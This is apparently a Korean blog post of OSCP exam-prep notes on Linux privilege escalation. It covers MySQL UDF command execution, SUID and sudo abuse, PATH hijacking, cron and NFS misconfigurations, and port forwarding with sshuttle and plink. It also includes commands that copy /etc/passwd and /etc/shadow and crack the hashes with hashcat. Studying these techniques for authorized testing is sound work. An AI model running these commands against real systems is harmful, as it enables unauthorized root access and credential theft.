OSCP/시험대비

Linux privsec 테크닉

우와해커 2020. 9. 29. 14:18


리눅스 manual 테크닉

https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html


Kernel exploits

-다른 쳅터 참고


Programs running as root

>ps aux


Mysql root로 실행중이고 디비 접속 가능하다면 쉘 실행가능

select sys_exec('whoami');

select sys_eval('whoami');

+User Defined function


Installed software

- 설치되는 폴더가 넘 광범위함, 스크립트를 활용하거나 dpkg만....

# Debian

dpkg -l


Weak/reused/plaintext passwords

- DB가 저장된 웹소스, 설정파일 찾아보기

- DB에 저장된 계정의 비밀번호가 서버의 계정 비번으로 재사용되는지 체크

- /var/spool/mail(메일박스 뒤져보기)


Inside service (내부망만 접근 가능한 서비스)

해당 호스트에서만 사용할 수 있는 일부 서비스를 실행 중일 수 있습니다. 외부에서 서비스에 연결할 수 없습니다. 

개발 서버, 데이터베이스 또는 다른 것이 될 수 있습니다. 이러한 서비스는 루트로 실행 중이거나 취약점이 있을 수 있습니다. 

- netstat를 확인하고 외부에서 수행 한 nmap-scan과 비교하십시오. 내부에서 더 많은 서비스를 찾을 수 있습니까?

# Linux

netstat -anlp

netstat -ano


Suid misconfiguration

소유자 root, setuid 설정, 쉘전환 기능 있는 프로그램 또는 명령어도 공격될 수 있음

nmap, vim, less, more, nano, cp, mv, find


Abusing sudo-rights

>sudo -l 사용하여 exploit


World writable scripts invoked by root

- root에 의해 실행되는 스크립트, 일반유저가 편집이 가능한지

- 리버스쉘 스크립트로 편집하여 Exploit


Bad path configuration

- 바이너리의 path경로에 .이 존재

- Strings로 바이너리 문자열 체크

- PATH 변수 편집하여 tmp폴더에서 페이로드 실행되도록 만들기

- export PATH=.;$PATH


Cronjobs

- 아래 외에 봐야할 폴더가 더 있음, 스크립트로 체크하자.

crontab -l

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron*


Unmounted filesystems

- 언마운트된 시스템을 찾은 후 다시 마운트하여 권한상승 될만한것을 찾아 볼 수 있음

> mount -l

> cat /etc/fstab


NFS Share

- NFS에 root_sqush같은 설정이 존재하면 원격 root 이름으로 파일 생성이 가능함

# First check if the target machine has any NFS shares

showmount -e 192.168.1.101


# If it does, then mount it to you filesystem

mount 192.168.1.101:/ /tmp/



World writable directorie

- 파일업로드 위치로 사용하면 됨

/tmp

/var/tmp

/dev/shm

/var/spool/vbox

/var/spool/samba



Privilege Escalation - Weak File Permissions

- 파일을 읽을 수 있고 Hash가 존재하는 경우

>cat /etc/passwd (마우스로 copy&pate로 로컬에 복사)

>cat /etc/shadow (마우스로 copy&pate로 로컬에 복사)

# unbshadow로 병합 후 브루트포싱

> unshadow <PASSWORD-FILE> <SHADOW-FILE> > unshadowed.txt

> hashcat -m 1800 unshadowed.txt rockyou.txt -O





Remote port forwarding

원격 포트 포워딩은 미쳤지만 매우 간단한 개념입니다.

당신은 컴퓨터에 접근했고 컴퓨터가 MYSQL처럼 실행 중이지만 localhost에서만 액세스 할 수 있다고 가정 해보십시오. 

당신은 엉터리 shell을 가지고 있기 때문에 그것에 접근 할 수 없습니다. 

그래서 우리가 할 수있는 것은 그 포트를 공격하는 컴퓨터로 전달하는 것입니다. 


파이썬이 설치되어있는 경우 (sshuttle을 사용해 리모트 포트포워딩을 손쉽게 셋팅할 수 있음)

sshuttle -r root@192.168.1.101 192.168.1.0/24


plink 사용

plink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080